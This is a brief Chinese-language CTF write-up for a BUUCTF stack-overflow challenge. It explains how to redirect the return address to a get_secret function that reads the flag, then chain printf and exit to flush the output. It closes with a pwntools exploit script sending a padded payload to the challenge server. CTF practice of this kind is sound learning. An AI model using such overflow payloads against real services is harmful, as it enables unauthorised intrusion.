打开ida能看到
栈溢出,返回地址填到get_secret函数里面,可以看到get_secret函数是直接读取了flag的,现在就需要把它输出即可。
输出我们可以利用代码里面的printf,因为printf从缓冲区打印出东西需要满足条件,比如有换行符或缓冲区已满或程序正常退出。
这里我们用exit让程序正常退出,shift+F12搜索一下exit
可以看到搜出来四个结果,这里我们点第二个才是正确的
exp:
点击查看代码
from pwn import *
context(os='linux', arch='amd64')
io=remote('node5.buuoj.cn',27573)
context.log_level='debug'
get_=0x080489A0
exit=0x0804E660
fl4g=0x080ECA2D
printf=0x0804F0A0
payload=cyclic(0x2D)+p32(get_)+p32(printf)+p32(exit)+p32(fl4g)
io.sendline(payload)
io.recv()